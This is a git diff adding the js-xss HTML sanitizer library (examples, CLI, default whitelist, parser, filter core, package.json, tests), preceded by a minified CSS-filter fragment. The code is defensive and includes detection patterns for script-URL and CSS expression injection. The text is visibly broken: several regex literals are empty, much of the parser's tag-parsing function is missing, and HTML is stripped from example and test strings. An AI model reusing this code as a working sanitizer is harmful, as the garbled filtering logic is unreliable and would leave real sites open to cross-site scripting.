ration-color"]=true;whiteList["text-decoration-line"]=true;whiteList["text-decoration-skip"]=true;whiteList["text-decoration-style"]=true;whiteList["text-emphasis"]=true;whiteList["text-emphasis-color"]=true;whiteList["text-emphasis-position"]=true;whiteList["text-emphasis-style"]=true;whiteList["text-height"]=true;whiteList["text-indent"]=true;whiteList["text-justify"]=true;whiteList["text-orientation"]=true;whiteList["text-overflow"]=true;whiteList["text-shadow"]=true;whiteList["text-space-collapse"]=true;whiteList["text-transform"]=true;whiteList["text-underline-position"]=true;whiteList["text-wrap"]=true;whiteList["top"]=false;whiteList["transform"]=false;whiteList["transform-origin"]=false;whiteList["transform-style"]=false;whiteList["transition"]=false;whiteList["transition-delay"]=false;whiteList["transition-duration"]=false;whiteList["transition-property"]=false;whiteList["transition-timing-function"]=false;whiteList["unicode-bidi"]=false;whiteList["vertical-align"]=false;whiteList["visibility"]=false;whiteList["voice-balance"]=false;whiteList["voice-duration"]=false;whiteList["voice-family"]=false;whiteList["voice-pitch"]=false;whiteList["voice-range"]=false;whiteList["voice-rate"]=false;whiteList["voice-stress"]=false;whiteList["voice-volume"]=false;whiteList["volume"]=false;whiteList["white-space"]=false;whiteList["widows"]=false;whiteList["width"]=true;whiteList["will-change"]=false;whiteList["word-break"]=true;whiteList["word-spacing"]=true;whiteList["word-wrap"]=true;whiteList["wrap-flow"]=false;whiteList["wrap-through"]=false;whiteList["writing-mode"]=false;whiteList["z-index"]=false;return whiteList}function onAttr(name,value,options){}function onIgnoreAttr(name,value,options){}exports.whiteList=getDefaultWhiteList();exports.getDefaultWhiteList=getDefaultWhiteList;exports.onAttr=onAttr;exports.onIgnoreAttr=onIgnoreAttr},{}],8:[function(require,module,exports){var DEFAULT=require("./default");var FilterCSS=require("./css");function filterCSS(html,options){var xss=new FilterCSS(options);return xss.process(html)}exports=module.exports=filterCSS;exports.FilterCSS=FilterCSS;for(var i in DEFAULT)exports[i]=DEFAULT[i];if(typeof window!=="undefined"){window.filterCSS=module.exports}},{"./css":6,"./default":7}],9:[function(require,module,exports){var _=require("./util");function parseStyle(css,onAttr){css=_.trimRight(css);if(css[css.length-1]!==";")css+=";";var cssLength=css.length;var isParenthesisOpen=false;var lastPos=0;var i=0;var retCSS="";function addNewAttr(){if(!isParenthesisOpen){var source=_.trim(css.slice(lastPos,i));var j=source.indexOf(":");if(j!==-1){var name=_.trim(source.slice(0,j));var value=_.trim(source.slice(j+1));if(name){var ret=onAttr(lastPos,retCSS.length,name,value,source);if(ret)retCSS+=ret+"; "}}}lastPos=i+1}for(;i + */ + +var xss = require('../'); + +var source = '
hello
'; +var html = xss(source, { + onIgnoreTagAttr: function (tag, name, value, isWhiteAttr) { + if (name.substr(0, 5) === 'data-') { + // 通过内置的escapeAttrValue函数来对属性值进行转义 + return name + '="' + xss.escapeAttrValue(value) + '"'; + } + } +}); + +console.log('%s\nconvert to:\n%s', source, html); + +/* +运行结果: +
hello
+convert to: +
hello
+*/ \ No newline at end of file diff --git a/example/allows_tag_prefix.js b/example/allows_tag_prefix.js new file mode 100644 index 0000000..ee03c36 --- /dev/null +++ b/example/allows_tag_prefix.js @@ -0,0 +1,26 @@ +/** + * 应用实例:允许名称以x-开头的标签 + * + * @author 老雷 + */ + +var xss = require('../'); + +var source = 'hewwww
'; +var html = xss(source, { + onIgnoreTag: function (tag, html, options) { + if (tag.substr(0, 2) === 'x-') { + // 不对其属性列表进行过滤 + return html; + } + } +}); + +console.log('%s\nconvert to:\n%s', source, html); + +/* +运行结果: +hewwww +convert to: +<x>hewwww +*/ \ No newline at end of file diff --git a/example/analyse_img_list.js b/example/analyse_img_list.js new file mode 100644 index 0000000..3183fba --- /dev/null +++ b/example/analyse_img_list.js @@ -0,0 +1,27 @@ +/** + * 应用实例:分析HTML代码中的图片列表 + * + * @author 老雷 + */ + +var xss = require('../'); + +var source = 'abcd'; +var list = []; +var html = xss(source, { + onTagAttr: function (tag, name, value, isWhiteAttr) { + if (tag === 'img' && name === 'src') { + // 使用内置的friendlyAttrValue函数来对属性值进行转义,可将<这类的实体标记转换成打印字符< + list.push(xss.friendlyAttrValue(value)); + } + // 不返回任何值,表示还是按照默认的方法处理 + } +}); + +console.log('image list:\n%s', list.join(', ')); + +/* +运行结果: +image list: +img1, img2, img3, img4 +*/ \ No newline at end of file diff --git a/example/strip_tag.js b/example/strip_tag.js new file mode 100644 index 0000000..43e2bf1 --- /dev/null +++ b/example/strip_tag.js @@ -0,0 +1,21 @@ +/** + * 应用实例:去除HTML标签(只保留文本内容) + * + * @author 老雷 + */ + +var xss = require('../'); + +var source = 'helloend'; +var html = xss(source, { + whiteList: [], // 白名单为空,表示过滤所有标签 + stripIgnoreTag: true, // 过滤所有非白名单标签的HTML + stripIgnoreTagBody: ['script'] // script标签较特殊,需要过滤标签中间的内容 +}); + +console.log('text: %s', html); + +/* +运行结果: +text: helloend +*/ \ No newline at end of file diff --git a/lib/cli.js b/lib/cli.js new file mode 100644 index 0000000..322f9d4 --- /dev/null +++ b/lib/cli.js @@ -0,0 +1,48 @@ +/** + * 命令行测试工具 + * + * @author 老雷 + */ + +var xss = require('./'); +var readline = require('readline'); + + +var rl = readline.createInterface({ + input: process.stdin, + output: process.stdout +}); + + +console.log('Enter a blank line to do xss(), enter "@quit" to exit.\n'); + +function take (c, n) { + var ret = ''; + for (var i = 0; i < n; i++) { + ret += c; + } + return ret; +} + +function setPrompt (line) { + line = line.toString(); + rl.setPrompt('[' + line + ']' + take(' ', 5 - line.length)); + rl.prompt(); +} + + +setPrompt(1); + +var html = []; +rl.on('line', function (line) { + if (line === '@quit') return process.exit(); + if (line === '') { + console.log(''); + console.log(xss(html.join('\r\n'))); + console.log(''); + html = []; + } else { + html.push(line); + } + setPrompt(html.length + 1); +}); diff --git a/lib/default.js b/lib/default.js new file mode 100644 index 0000000..fe079e4 --- /dev/null +++ b/lib/default.js @@ -0,0 +1,413 @@ +/** + * 默认配置 + * + * @author 老雷 + */ + +var FilterCSS = require('cssfilter').FilterCSS; +var getDefaultCSSWhiteList = require('cssfilter').getDefaultWhiteList; +var _ = require('./util'); + +// 默认白名单 +function getDefaultWhiteList () { + return { + a: ['target', 'href', 'title'], + abbr: ['title'], + address: [], + area: ['shape', 'coords', 'href', 'alt'], + article: [], + aside: [], + audio: ['autoplay', 'controls', 'loop', 'preload', 'src'], + b: [], + bdi: ['dir'], + bdo: ['dir'], + big: [], + blockquote: ['cite'], + br: [], + caption: [], + center: [], + cite: [], + code: [], + col: ['align', 'valign', 'span', 'width'], + colgroup: ['align', 'valign', 'span', 'width'], + dd: [], + del: ['datetime'], + details: ['open'], + div: [], + dl: [], + dt: [], + em: [], + font: ['color', 'size', 'face'], + footer: [], + h1: [], + h2: [], + h3: [], + h4: [], + h5: [], + h6: [], + header: [], + hr: [], + i: [], + img: ['src', 'alt', 'title', 'width', 'height'], + ins: ['datetime'], + li: [], + mark: [], + nav: [], + ol: [], + p: [], + pre: [], + s: [], + section:[], + small: [], + span: [], + sub: [], + sup: [], + strong: [], + table: ['width', 'border', 'align', 'valign'], + tbody: ['align', 'valign'], + td: ['width', 'rowspan', 'colspan', 'align', 'valign'], + tfoot: ['align', 'valign'], + th: ['width', 'rowspan', 'colspan', 'align', 'valign'], + thead: ['align', 'valign'], + tr: ['rowspan', 'align', 'valign'], + tt: [], + u: [], + ul: [], + video: ['autoplay', 'controls', 'loop', 'preload', 'src', 'height', 'width'] + }; +} + +// 默认CSS Filter +var defaultCSSFilter = new FilterCSS(); + +/** + * 匹配到标签时的处理方法 + * + * @param {String} tag + * @param {String} html + * @param {Object} options + * @return {String} + */ +function onTag (tag, html, options) { + // do nothing +} + +/** + * 匹配到不在白名单上的标签时的处理方法 + * + * @param {String} tag + * @param {String} html + * @param {Object} options + * @return {String} + */ +function onIgnoreTag (tag, html, options) { + // do nothing +} + +/** + * 匹配到标签属性时的处理方法 + * + * @param {String} tag + * @param {String} name + * @param {String} value + * @return {String} + */ +function onTagAttr (tag, name, value) { + // do nothing +} + +/** + * 匹配到不在白名单上的标签属性时的处理方法 + * + * @param {String} tag + * @param {String} name + * @param {String} value + * @return {String} + */ +function onIgnoreTagAttr (tag, name, value) { + // do nothing +} + +/** + * HTML转义 + * + * @param {String} html + */ +function escapeHtml (html) { + return html.replace(REGEXP_LT, '<').replace(REGEXP_GT, '>'); +} + +/** + * 安全的标签属性值 + * + * @param {String} tag + * @param {String} name + * @param {String} value + * @param {Object} cssFilter + * @return {String} + */ +function safeAttrValue (tag, name, value, cssFilter) { + // 转换为友好的属性值,再做判断 + value = friendlyAttrValue(value); + + if (name === 'href' || name === 'src') { + // 过滤 href 和 src 属性 + // 仅允许 http:// | https:// | mailto: | / | # 开头的地址 + value = _.trim(value); + if (value === '#') return '#'; + if (!(value.substr(0, 7) === 'http://' || + value.substr(0, 8) === 'https://' || + value.substr(0, 7) === 'mailto:' || + value[0] === '#' || + value[0] === '/')) { + return ''; + } + } else if (name === 'background') { + // 过滤 background 属性 (这个xss漏洞较老了,可能已经不适用) + // javascript: + REGEXP_DEFAULT_ON_TAG_ATTR_4.lastIndex = 0; + if (REGEXP_DEFAULT_ON_TAG_ATTR_4.test(value)) { + return ''; + } + } else if (name === 'style') { + // /*注释*/ + /*REGEXP_DEFAULT_ON_TAG_ATTR_3.lastIndex = 0; + if (REGEXP_DEFAULT_ON_TAG_ATTR_3.test(value)) { + return ''; + }*/ + // expression() + REGEXP_DEFAULT_ON_TAG_ATTR_7.lastIndex = 0; + if (REGEXP_DEFAULT_ON_TAG_ATTR_7.test(value)) { + return ''; + } + // url() + REGEXP_DEFAULT_ON_TAG_ATTR_8.lastIndex = 0; + if (REGEXP_DEFAULT_ON_TAG_ATTR_8.test(value)) { + REGEXP_DEFAULT_ON_TAG_ATTR_4.lastIndex = 0; + if (REGEXP_DEFAULT_ON_TAG_ATTR_4.test(value)) { + return ''; + } + } + if (cssFilter !== false) { + cssFilter = cssFilter || defaultCSSFilter; + value = cssFilter.process(value); + } + } + + // 输出时需要转义<>" + value = escapeAttrValue(value); + return value; +} + +// 正则表达式 +var REGEXP_LT = //g; +var REGEXP_QUOTE = /"/g; +var REGEXP_QUOTE_2 = /"/g; +var REGEXP_ATTR_VALUE_1 = /&#([a-zA-Z0-9]*);?/img; +var REGEXP_ATTR_VALUE_COLON = /:?/img; +var REGEXP_ATTR_VALUE_NEWLINE = /&newline;?/img; +var REGEXP_DEFAULT_ON_TAG_ATTR_3 = /\/\*|\*\//mg; +var REGEXP_DEFAULT_ON_TAG_ATTR_4 = /((j\s*a\s*v\s*a|v\s*b|l\s*i\s*v\s*e)\s*s\s*c\s*r\s*i\s*p\s*t\s*|m\s*o\s*c\s*h\s*a)\:/ig; +var REGEXP_DEFAULT_ON_TAG_ATTR_5 = /^[\s"'`]*(d\s*a\s*t\s*a\s*)\:/ig; +var REGEXP_DEFAULT_ON_TAG_ATTR_6 = /^[\s"'`]*(d\s*a\s*t\s*a\s*)\:\s*image\//ig; +var REGEXP_DEFAULT_ON_TAG_ATTR_7 = /e\s*x\s*p\s*r\s*e\s*s\s*s\s*i\s*o\s*n\s*\(.*/ig; +var REGEXP_DEFAULT_ON_TAG_ATTR_8 = /u\s*r\s*l\s*\(.*/ig; + +/** + * 对双引号进行转义 + * + * @param {String} str + * @return {String} str + */ +function escapeQuote (str) { + return str.replace(REGEXP_QUOTE, '"'); +} + +/** + * 对双引号进行转义 + * + * @param {String} str + * @return {String} str + */ +function unescapeQuote (str) { + return str.replace(REGEXP_QUOTE_2, '"'); +} + +/** + * 对html实体编码进行转义 + * + * @param {String} str + * @return {String} + */ +function escapeHtmlEntities (str) { + return str.replace(REGEXP_ATTR_VALUE_1, function replaceUnicode (str, code) { + return (code[0] === 'x' || code[0] === 'X') + ? String.fromCharCode(parseInt(code.substr(1), 16)) + : String.fromCharCode(parseInt(code, 10)); + }); +} + +/** + * 对html5新增的危险实体编码进行转义 + * + * @param {String} str + * @return {String} + */ +function escapeDangerHtml5Entities (str) { + return str.replace(REGEXP_ATTR_VALUE_COLON, ':') + .replace(REGEXP_ATTR_VALUE_NEWLINE, ' '); +} + +/** + * 清除不可见字符 + * + * @param {String} str + * @return {String} + */ +function clearNonPrintableCharacter (str) { + var str2 = ''; + for (var i = 0, len = str.length; i < len; i++) { + str2 += str.charCodeAt(i) < 32 ? ' ' : str.charAt(i); + } + return _.trim(str2); +} + +/** + * 将标签的属性值转换成一般字符,便于分析 + * + * @param {String} str + * @return {String} + */ +function friendlyAttrValue (str) { + str = unescapeQuote(str); // 双引号 + str = escapeHtmlEntities(str); // 转换HTML实体编码 + str = escapeDangerHtml5Entities(str); // 转换危险的HTML5新增实体编码 + str = clearNonPrintableCharacter(str); // 清除不可见字符 + return str; +} + +/** + * 转义用于输出的标签属性值 + * + * @param {String} str + * @return {String} + */ +function escapeAttrValue (str) { + str = escapeQuote(str); + str = escapeHtml(str); + return str; +} + +/** + * 去掉不在白名单中的标签onIgnoreTag处理方法 + */ +function onIgnoreTagStripAll () { + return ''; +} + +/** + * 删除标签体 + * + * @param {array} tags 要删除的标签列表 + * @param {function} next 对不在列表中的标签的处理函数,可选 + */ +function StripTagBody (tags, next) { + if (typeof(next) !== 'function') { + next = function () {}; + } + + var isRemoveAllTag = !Array.isArray(tags); + function isRemoveTag (tag) { + if (isRemoveAllTag) return true; + return (_.indexOf(tags, tag) !== -1); + } + + var removeList = []; // 要删除的位置范围列表 + var posStart = false; // 当前标签开始位置 + + return { + onIgnoreTag: function (tag, html, options) { + if (isRemoveTag(tag)) { + if (options.isClosing) { + var ret = '[/removed]'; + var end = options.position + ret.length; + removeList.push([posStart !== false ? posStart : options.position, end]); + posStart = false; + return ret; + } else { + if (!posStart) { + posStart = options.position; + } + return '[removed]'; + } + } else { + return next(tag, html, options); + } + }, + remove: function (html) { + var rethtml = ''; + var lastPos = 0; + _.forEach(removeList, function (pos) { + rethtml += html.slice(lastPos, pos[0]); + lastPos = pos[1]; + }); + rethtml += html.slice(lastPos); + return rethtml; + } + }; +} + +/** + * 去除备注标签 + * + * @param {String} html + * @return {String} + */ +function stripCommentTag (html) { + return html.replace(STRIP_COMMENT_TAG_REGEXP, ''); +} +var STRIP_COMMENT_TAG_REGEXP = //g; + +/** + * 去除不可见字符 + * + * @param {String} html + * @return {String} + */ +function stripBlankChar (html) { + var chars = html.split(''); + chars = chars.filter(function (char) { + var c = char.charCodeAt(0); + if (c === 127) return false; + if (c <= 31) { + if (c === 10 || c === 13) return true; + return false; + } + return true; + }); + return chars.join(''); +} + + +exports.whiteList = getDefaultWhiteList(); +exports.getDefaultWhiteList = getDefaultWhiteList; +exports.onTag = onTag; +exports.onIgnoreTag = onIgnoreTag; +exports.onTagAttr = onTagAttr; +exports.onIgnoreTagAttr = onIgnoreTagAttr; +exports.safeAttrValue = safeAttrValue; +exports.escapeHtml = escapeHtml; +exports.escapeQuote = escapeQuote; +exports.unescapeQuote = unescapeQuote; +exports.escapeHtmlEntities = escapeHtmlEntities; +exports.escapeDangerHtml5Entities = escapeDangerHtml5Entities; +exports.clearNonPrintableCharacter = clearNonPrintableCharacter; +exports.friendlyAttrValue = friendlyAttrValue; +exports.escapeAttrValue = escapeAttrValue; +exports.onIgnoreTagStripAll = onIgnoreTagStripAll; +exports.StripTagBody = StripTagBody; +exports.stripCommentTag = stripCommentTag; +exports.stripBlankChar = stripBlankChar; +exports.cssFilter = defaultCSSFilter; +exports.getDefaultCSSWhiteList = getDefaultCSSWhiteList; diff --git a/lib/index.js b/lib/index.js new file mode 100644 index 0000000..22d3f5a --- /dev/null +++ b/lib/index.js @@ -0,0 +1,35 @@ +/** + * 模块入口 + * + * @author 老雷 + */ + +var DEFAULT = require('./default'); +var parser = require('./parser'); +var FilterXSS = require('./xss'); + + +/** + * XSS过滤 + * + * @param {String} html 要过滤的HTML代码 + * @param {Object} options 选项:whiteList, onTag, onTagAttr, onIgnoreTag, onIgnoreTagAttr, safeAttrValue, escapeHtml + * @return {String} + */ +function filterXSS (html, options) { + var xss = new FilterXSS(options); + return xss.process(html); +} + + +// 输出 +exports = module.exports = filterXSS; +exports.FilterXSS = FilterXSS; +for (var i in DEFAULT) exports[i] = DEFAULT[i]; +for (var i in parser) exports[i] = parser[i]; + + +// 在浏览器端使用 +if (typeof window !== 'undefined') { + window.filterXSS = module.exports; +} diff --git a/lib/parser.js b/lib/parser.js new file mode 100644 index 0000000..3aacc2a --- /dev/null +++ b/lib/parser.js @@ -0,0 +1,237 @@ +/** + * 简单 HTML Parser + * + * @author 老雷 + */ + +var _ = require('./util'); + +/** + * 获取标签的名称 + * + * @param {String} html 如:'' + * @return {String} + */ +function getTagName (html) { + var i = html.indexOf(' '); + if (i === -1) { + var tagName = html.slice(1, -1); + } else { + var tagName = html.slice(1, i + 1); + } + tagName = _.trim(tagName).toLowerCase(); + if (tagName.slice(0, 1) === '/') tagName = tagName.slice(1); + if (tagName.slice(-1) === '/') tagName = tagName.slice(0, -1); + return tagName; +} + +/** + * 是否为闭合标签 + * + * @param {String} html 如:'' + * @return {Boolean} + */ +function isClosing (html) { + return (html.slice(0, 2) === '') { + rethtml += escapeHtml(html.slice(lastPos, tagStart)); + currentHtml = html.slice(tagStart, currentPos + 1); + currentTagName = getTagName(currentHtml); + rethtml += onTag(tagStart, + rethtml.length, + currentTagName, + currentHtml, + isClosing(currentHtml)); + lastPos = currentPos + 1; + tagStart = false; + continue; + } + // HTML标签内的引号仅当前一个字符是等于号时才有效 + if ((c === '"' || c === "'") && html.charAt(currentPos - 1) === '=') { + quoteStart = c; + continue; + } + } else { + if (c === quoteStart) { + quoteStart = false; + continue; + } + } + } + } + if (lastPos < html.length) { + rethtml += escapeHtml(html.substr(lastPos)); + } + + return rethtml; +} + +// 不符合属性名称规则的正则表达式 +var REGEXP_ATTR_NAME = /[^a-zA-Z0-9_:\.\-]/img; + +/** + * 分析标签HTML代码,调用相应的函数处理,返回HTML + * + * @param {String} html 如标签'' 则为 'href="#" target="_blank"' + * @param {Function} onAttr 处理属性值的函数 + * 函数格式: function (name, value) + * @return {String} + */ +function parseAttr (html, onAttr) { + 'user strict'; + + var lastPos = 0; // 当前位置 + var retAttrs = []; // 待返回的属性列表 + var tmpName = false; // 临时属性名称 + var len = html.length; // HTML代码长度 + + function addAttr (name, value) { + name = _.trim(name); + name = name.replace(REGEXP_ATTR_NAME, '').toLowerCase(); + if (name.length < 1) return; + var ret = onAttr(name, value || ''); + if (ret) retAttrs.push(ret); + }; + + // 逐个分析字符 + for (var i = 0; i < len; i++) { + var c = html.charAt(i); + var v, j; + if (tmpName === false && c === '=') { + tmpName = html.slice(lastPos, i); + lastPos = i + 1; + continue; + } + if (tmpName !== false) { + // HTML标签内的引号仅当前一个字符是等于号时才有效 + if (i === lastPos && (c === '"' || c === "'") && html.charAt(i - 1) === '=') { + j = html.indexOf(c, i + 1); + if (j === -1) { + break; + } else { + v = _.trim(html.slice(lastPos + 1, j)); + addAttr(tmpName, v); + tmpName = false; + i = j; + lastPos = i + 1; + continue; + } + } + } + if (c === ' ') { + if (tmpName === false) { + j = findNextEqual(html, i); + if (j === -1) { + v = _.trim(html.slice(lastPos, i)); + addAttr(v); + tmpName = false; + lastPos = i + 1; + continue; + } else { + i = j - 1; + continue; + } + } else { + j = findBeforeEqual(html, i - 1); + if (j === -1) { + v = _.trim(html.slice(lastPos, i)); + v = stripQuoteWrap(v); + addAttr(tmpName, v); + tmpName = false; + lastPos = i + 1; + continue; + } else { + continue; + } + } + } + } + + if (lastPos < html.length) { + if (tmpName === false) { + addAttr(html.slice(lastPos)); + } else { + addAttr(tmpName, stripQuoteWrap(_.trim(html.slice(lastPos)))); + } + } + + return _.trim(retAttrs.join(' ')); +} + +function findNextEqual (str, i) { + for (; i < str.length; i++) { + var c = str[i]; + if (c === ' ') continue; + if (c === '=') return i; + return -1; + } +} + +function findBeforeEqual (str, i) { + for (; i > 0; i--) { + var c = str[i]; + if (c === ' ') continue; + if (c === '=') return i; + return -1; + } +} + +function isQuoteWrapString (text) { + if ((text[0] === '"' && text[text.length - 1] === '"') || + (text[0] === '\'' && text[text.length - 1] === '\'')) { + return true; + } else { + return false; + } +}; + +function stripQuoteWrap (text) { + if (isQuoteWrapString(text)) { + return text.substr(1, text.length - 2); + } else { + return text; + } +}; + + +exports.parseTag = parseTag; +exports.parseAttr = parseAttr; diff --git a/lib/util.js b/lib/util.js new file mode 100644 index 0000000..1fa67e6 --- /dev/null +++ b/lib/util.js @@ -0,0 +1,29 @@ +module.exports = { + indexOf: function (arr, item) { + var i, j; + if (Array.prototype.indexOf) { + return arr.indexOf(item); + } + for (i = 0, j = arr.length; i < j; i++) { + if (arr[i] === item) { + return i; + } + } + return -1; + }, + forEach: function (arr, fn, scope) { + var i, j; + if (Array.prototype.forEach) { + return arr.forEach(fn, scope); + } + for (i = 0, j = arr.length; i < j; i++) { + fn.call(scope, arr[i], i, arr); + } + }, + trim: function (str) { + if (String.prototype.trim) { + return str.trim(); + } + return str.replace(/(^\s*)|(\s*$)/g, ''); + } +}; diff --git a/lib/xss.js b/lib/xss.js new file mode 100644 index 0000000..ebbe184 --- /dev/null +++ b/lib/xss.js @@ -0,0 +1,211 @@ +/** + * 过滤XSS + * + * @author 老雷 + */ + +var FilterCSS = require('cssfilter').FilterCSS; +var DEFAULT = require('./default'); +var parser = require('./parser'); +var parseTag = parser.parseTag; +var parseAttr = parser.parseAttr; +var _ = require('./util'); + + +/** + * 返回值是否为空 + * + * @param {Object} obj + * @return {Boolean} + */ +function isNull (obj) { + return (obj === undefined || obj === null); +} + +/** + * 取标签内的属性列表字符串 + * + * @param {String} html + * @return {Object} + * - {String} html + * - {Boolean} closing + */ +function getAttrs (html) { + var i = html.indexOf(' '); + if (i === -1) { + return { + html: '', + closing: (html[html.length - 2] === '/') + }; + } + html = _.trim(html.slice(i + 1, -1)); + var isClosing = (html[html.length - 1] === '/'); + if (isClosing) html = _.trim(html.slice(0, -1)); + return { + html: html, + closing: isClosing + }; +} + +/** + * 浅拷贝对象 + * + * @param {Object} obj + * @return {Object} + */ +function shallowCopyObject (obj) { + var ret = {}; + for (var i in obj) { + ret[i] = obj[i]; + } + return ret; +} + +/** + * XSS过滤对象 + * + * @param {Object} options + * 选项:whiteList, onTag, onTagAttr, onIgnoreTag, + * onIgnoreTagAttr, safeAttrValue, escapeHtml + * stripIgnoreTagBody, allowCommentTag, stripBlankChar + * css{whiteList, onAttr, onIgnoreAttr} css=false表示禁用cssfilter + */ +function FilterXSS (options) { + options = shallowCopyObject(options || {}); + + if (options.stripIgnoreTag) { + if (options.onIgnoreTag) { + console.error('Notes: cannot use these two options "stripIgnoreTag" and "onIgnoreTag" at the same time'); + } + options.onIgnoreTag = DEFAULT.onIgnoreTagStripAll; + } + + options.whiteList = options.whiteList || DEFAULT.whiteList; + options.onTag = options.onTag || DEFAULT.onTag; + options.onTagAttr = options.onTagAttr || DEFAULT.onTagAttr; + options.onIgnoreTag = options.onIgnoreTag || DEFAULT.onIgnoreTag; + options.onIgnoreTagAttr = options.onIgnoreTagAttr || DEFAULT.onIgnoreTagAttr; + options.safeAttrValue = options.safeAttrValue || DEFAULT.safeAttrValue; + options.escapeHtml = options.escapeHtml || DEFAULT.escapeHtml; + this.options = options; + + if (options.css === false) { + this.cssFilter = false; + } else { + options.css = options.css || {}; + this.cssFilter = new FilterCSS(options.css); + } +} + +/** + * 开始处理 + * + * @param {String} html + * @return {String} + */ +FilterXSS.prototype.process = function (html) { + // 兼容各种奇葩输入 + html = html || ''; + html = html.toString(); + if (!html) return ''; + + var me = this; + var options = me.options; + var whiteList = options.whiteList; + var onTag = options.onTag; + var onIgnoreTag = options.onIgnoreTag; + var onTagAttr = options.onTagAttr; + var onIgnoreTagAttr = options.onIgnoreTagAttr; + var safeAttrValue = options.safeAttrValue; + var escapeHtml = options.escapeHtml; + var cssFilter = me.cssFilter; + + // 是否清除不可见字符 + if (options.stripBlankChar) { + html = DEFAULT.stripBlankChar(html); + } + + // 是否禁止备注标签 + if (!options.allowCommentTag) { + html = DEFAULT.stripCommentTag(html); + } + + // 如果开启了stripIgnoreTagBody + var stripIgnoreTagBody = false; + if (options.stripIgnoreTagBody) { + var stripIgnoreTagBody = DEFAULT.StripTagBody(options.stripIgnoreTagBody, onIgnoreTag); + onIgnoreTag = stripIgnoreTagBody.onIgnoreTag; + } + + var retHtml = parseTag(html, function (sourcePosition, position, tag, html, isClosing) { + var info = { + sourcePosition: sourcePosition, + position: position, + isClosing: isClosing, + isWhite: (tag in whiteList) + }; + + // 调用onTag处理 + var ret = onTag(tag, html, info); + if (!isNull(ret)) return ret; + + // 默认标签处理方法 + if (info.isWhite) { + // 白名单标签,解析标签属性 + // 如果是闭合标签,则不需要解析属性 + if (info.isClosing) { + return ''; + } + + var attrs = getAttrs(html); + var whiteAttrList = whiteList[tag]; + var attrsHtml = parseAttr(attrs.html, function (name, value) { + + // 调用onTagAttr处理 + var isWhiteAttr = (_.indexOf(whiteAttrList, name) !== -1); + var ret = onTagAttr(tag, name, value, isWhiteAttr); + if (!isNull(ret)) return ret; + + // 默认的属性处理方法 + if (isWhiteAttr) { + // 白名单属性,调用safeAttrValue过滤属性值 + value = safeAttrValue(tag, name, value, cssFilter); + if (value) { + return name + '="' + value + '"'; + } else { + return name; + } + } else { + // 非白名单属性,调用onIgnoreTagAttr处理 + var ret = onIgnoreTagAttr(tag, name, value, isWhiteAttr); + if (!isNull(ret)) return ret; + return; + } + }); + + // 构造新的标签代码 + var html = '<' + tag; + if (attrsHtml) html += ' ' + attrsHtml; + if (attrs.closing) html += ' /'; + html += '>'; + return html; + + } else { + // 非白名单标签,调用onIgnoreTag处理 + var ret = onIgnoreTag(tag, html, info); + if (!isNull(ret)) return ret; + return escapeHtml(html); + } + + }, escapeHtml); + + // 如果开启了stripIgnoreTagBody,需要对结果再进行处理 + if (stripIgnoreTagBody) { + retHtml = stripIgnoreTagBody.remove(retHtml); + } + + return retHtml; +}; + + +module.exports = FilterXSS; diff --git a/package.json b/package.json new file mode 100644 index 0000000..3337fa7 --- /dev/null +++ b/package.json @@ -0,0 +1,62 @@ +{ + "name": "xss", + "main": "./lib/index.js", + "typings": "./typings/xss.d.ts", + "version": "0.3.3", + "description": "Sanitize untrusted HTML (to prevent XSS) with a configuration specified by a Whitelist", + "author": "Zongmin Lei (http://ucdok.com)", + "repository": { + "type": "git", + "url": "git://github.com/leizongmin/js-xss.git" + }, + "engines": { + "node": ">= 0.10.0" + }, + "dependencies": { + "commander": "^2.9.0", + "cssfilter": "0.0.9" + }, + "devDependencies": { + "browserify": "^13.0.1", + "coveralls": "^2.11.9", + "debug": "^2.2.0", + "istanbul": "^0.4.3", + "mocha": "^3.0.2", + "uglify-js": "^2.6.1" + }, + "files": [ + "lib", + "bin/xss", + "dist", + "typings/*.d.ts" + ], + "bin": { + "xss": "./bin/xss" + }, + "scripts": { + "test": "export DEBUG=xss:* && mocha -t 5000", + "test-cov": "export DEBUG=xss:* && istanbul cover _mocha --report lcovonly -- -t 5000 -R spec && cat ./coverage/lcov.info | ./node_modules/coveralls/bin/coveralls.js && rm -rf ./coverage", + "build": "./bin/build", + "prepublish": "npm run test && npm run build" + }, + "license": "MIT", + "bugs": { + "url": "https://github.com/leizongmin/js-xss/issues" + }, + "homepage": "https://github.com/leizongmin/js-xss", + "keywords": [ + "sanitization", + "xss", + "sanitize", + "sanitisation", + "input", + "security", + "escape", + "encode", + "filter", + "validator", + "html", + "injection", + "whitelist" + ] +} diff --git a/test/test_custom_method.js b/test/test_custom_method.js new file mode 100644 index 0000000..b80a35f --- /dev/null +++ b/test/test_custom_method.js @@ -0,0 +1,339 @@ +/** + * 测试XSS 自定义处理函数 + * + * @author 老雷 + */ + +var assert = require('assert'); +var xss = require('../'); +var debug = require('debug')('xss:test'); + + +describe('test custom XSS method', function () { + + it('#onTag - match tag', function () { + var source = 'ddhaha
ff'; + var i = 0; + var html = xss(source, { + onTag: function (tag, html, options) { + debug(arguments); + i++; + if (i === 1) { + assert.equal(tag, 'a'); + assert.equal(html, ''); + assert.equal(options.isClosing, false); + assert.equal(options.position, 2); + assert.equal(options.sourcePosition, 2); + assert.equal(options.isWhite, true); + } else if (i === 2) { + assert.equal(tag, 'b'); + assert.equal(html, ''); + assert.equal(options.isClosing, false); + assert.equal(options.position, 14); + assert.equal(options.sourcePosition, 14); + assert.equal(options.isWhite, true); + } else if (i === 3) { + assert.equal(tag, 'c'); + assert.equal(html, ''); + assert.equal(options.isClosing, false); + assert.equal(options.position, 17); + assert.equal(options.sourcePosition, 17); + assert.equal(options.isWhite, false); + } else if (i === 4) { + assert.equal(tag, 'c'); + assert.equal(html, ''); + assert.equal(options.isClosing, true); + assert.equal(options.position, 30); + assert.equal(options.sourcePosition, 24); + assert.equal(options.isWhite, false); + } else if (i === 5) { + assert.equal(tag, 'b'); + assert.equal(html, ''); + assert.equal(options.isClosing, true); + assert.equal(options.position, 40); + assert.equal(options.sourcePosition, 28); + assert.equal(options.isWhite, true); + } else if (i === 6) { + assert.equal(tag, 'a'); + assert.equal(html, ''); + assert.equal(options.isClosing, true); + assert.equal(options.position, 44); + assert.equal(options.sourcePosition, 32); + assert.equal(options.isWhite, true); + } else if (i === 7) { + assert.equal(tag, 'br'); + assert.equal(html, '
'); + assert.equal(options.isClosing, false); + assert.equal(options.position, 48); + assert.equal(options.sourcePosition, 36); + assert.equal(options.isWhite, true); + } else { + throw new Error(); + } + } + }); + debug(html); + assert.equal(html, 'dd<c>haha</c>
ff'); + + }); + + it('#onTag - return new html', function () { + var source = 'ddhaha
